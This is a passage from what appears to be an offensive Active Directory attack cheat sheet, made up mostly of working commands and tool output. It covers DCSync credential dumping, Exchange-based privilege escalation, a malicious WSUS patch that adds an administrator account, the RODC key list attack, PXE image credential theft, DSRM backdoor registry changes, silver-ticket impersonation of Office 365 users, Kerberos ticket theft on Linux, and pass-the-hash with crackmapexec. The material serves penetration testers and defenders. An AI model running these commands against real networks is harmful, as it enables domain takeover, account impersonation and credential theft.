    python secretsdump.py xxxxxxxxxx -just-dc
    python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
    ```

5. Clean your mess and restore a previous state of the user's ACL

    ```powershell
    python aclpwn.py --restore ../aclpwn-20190319-125741.restore
    ```

Alternatively you can use the Metasploit module 

[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)

Alternatively you can use an all-in-one tool : Exchange2domain.

```powershell
git clone github.com/Ridter/Exchange2domain 
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
```

### SCCM Deployment

### WSUS Deployment

> Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network

:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.

* [SharpWSUS](https://github.com/nettitude/SharpWSUS)

1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate`
2. After WSUS Server compromise: `SharpWSUS.exe inspect`
3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"`
4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"`
5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local`
6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group`

### RODC - Read Only Domain Controller Compromise

> If the user is included in the **Allowed RODC Password Replication**, their credentials are stored in the server, and the **msDS-RevealedList** attribute of the RODC is populated with the username.

**Requirements**:
* [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210)
* **krbtgt** credentials of the RODC (-rodcKey) 
* **ID of the krbtgt** account of the RODC (-rodcNo)

**Exploitation**:
```ps1
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full

# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc sever.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST

# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```

### PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    ```powershell
    net user hacker Password123! /add
    net localgroup administrators /add hacker
    ```

- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

    ```powershell
    # Import the module
    PS > Import-Module .\PowerPXE.ps1

    # Start the exploit on the Ethernet interface
    PS > Get-PXEcreds -InterfaceAlias Ethernet
    PS > Get-PXECreds -InterfaceAlias « lab 0 » 

    # Wait for the DHCP to get an address

### DNS Reconnaissance

Perform ADIDNS searches

```powershell
StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
```

### DSRM Credentials

> Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

```ps1
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior 

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD 

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```

### Impersonating Office 365 Users on Azure AD Connect

Prerequisites: 

* Obtain NTLM password hash of the AZUREADSSOACC account
    ```powershell
    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
    ```

* AAD logon name of the user we want to impersonate (userPrincipalName or mail)
    ```powershell
    elrond@contoso.com
    ```

* SID of the user we want to impersonate
    ```powershell
    S-1-5-21-2121516926-2695913149-3163778339-1234
    ```


Create the Silver Ticket and inject it into Kerberos cache:
```powershell
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
```

Launch Mozilla Firefox, go to about:config
```powershell
network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
```

Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.


## Linux Active Directory

### CCACHE ticket reuse from /tmp

> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. 

```powershell
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

$ export KRB5CCNAME=/tmp/krb5cc_1569901115
```


### CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey

```powershell
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```

### CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. 
The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. 
By default, the key is only readable if you have **root** permissions.

Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.

```powershell
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.


### CCACHE ticket reuse from keytab

```powershell
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```

### Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure. 

Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23  is the actual NT Hash of the user.

```powershell
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 31d6cfe0d16ae931b73c59d7e0c089c0
	 Time stamp: Oct 07,  2019 09:12:02
[...]
```

On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.

```powershell
$ python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

On macOS you can use `bifrost`.

```powershell
./bifrost -action dump -source keytab -path test
```

Connect to the machine using the account and the hash with CME.

```powershell
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0  
```
